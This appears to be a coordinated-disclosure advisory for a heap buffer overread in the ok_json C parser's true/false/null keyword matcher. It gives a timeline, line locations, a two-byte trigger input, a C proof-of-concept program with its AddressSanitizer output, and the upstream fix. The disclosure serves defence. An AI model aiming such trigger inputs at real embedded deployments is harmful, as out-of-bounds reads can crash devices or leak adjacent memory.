BVE-2026-0003FixedHigh

ok_json: heap buffer overread in true/false/null keyword matching

April 22, 2026ionuxok_json

A heap buffer overread in ok_json's keyword matcher. Input shorter than the expected keyword (`true`, `false`, `null`) causes `okj_match` to read past the end of the caller-supplied buffer. Fixed upstream on 2026-04-14.

// Timeline

  1. 2026-04-08 Reported to vendor
  2. 2026-04-13 Vendor acknowledged
  3. 2026-04-14 Fixed upstream; issue closed
  4. 2026-04-22 CVE requested (pending)

Summary

ok_json is a C99 JSON parser targeting embedded and safety-critical contexts. In versions prior to the fix on 2026-04-14, the okj_match helper — used to match the literal keywords true, false, and null — accepts a fixed length and reads that many bytes from the buffer without checking that the bytes are actually allocated. A NUL-byte early-exit exists, but only helps when the buffer happens to be NUL-terminated, which the API does not require.

Technical details

Location: src/ok_json.c:346-384 (okj_match), called from okj_parse_value at lines 1347, 1382, and 1414.

When the parser sees a character that could start true, false, or null, it calls okj_match(pos, "true", 4), okj_match(pos, "false", 5), or okj_match(pos, "null", 4). If fewer bytes remain in the buffer than the fixed length, okj_match reads past the allocation. ASan’s red zone is 0xBE, not 0x00, so the NUL-byte early-exit does not save you.

Trigger

A two-byte buffer containing tr — no NUL terminator, no padding past the allocation:

tr

The parser sees t, calls okj_match(pos, "true", 4), and reads src[2] past the 2-byte allocation.

Proof of concept

/* Compile:  clang -g -O0 -fsanitize=address -Iinclude poc.c -o poc
 * Run:      ./poc
 *
 * The parser sees 't' and calls okj_match(pos, "true", 4).
 * okj_match loops i=0..3 reading src[0]='t', src[1]='r', src[2] (OOB).
 * The NUL-byte early exit only helps if a NUL happens to sit right
 * after the allocation — ASan's red zone is 0xBE, not 0x00.
 */
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "../src/ok_json.c"

int main(void)
{
    const char src[] = "tr";
    size_t len = sizeof(src) - 1U;          /* 2 */

    char *buf = (char *)malloc(len);
    if (buf == NULL) { return 1; }
    memcpy(buf, src, len);

    OkJsonParser parser;
    okj_init(&parser, buf, (uint16_t)len);

    OkjError rc = okj_parse(&parser);
    printf("okj_parse returned: %d\n", (int)rc);

    free(buf);
    return 0;
}

AddressSanitizer output:

heap-buffer-overflow at ok_json.c:376 in okj_match
READ of size 1 at 0 bytes to the right of 2-byte region

Impact

Out-of-bounds read of up to four bytes past a caller-supplied buffer (three for true/null matches starting at offset +1, four for false). In safety-critical or embedded contexts (the library’s stated target), such reads can leak adjacent memory or cause undefined behavior.

Fix

Upstream patched on 2026-04-14: callers now verify that at least len bytes remain in the buffer (json_len - position >= len) before invoking okj_match. See issue #69 for the full disclosure and vendor response.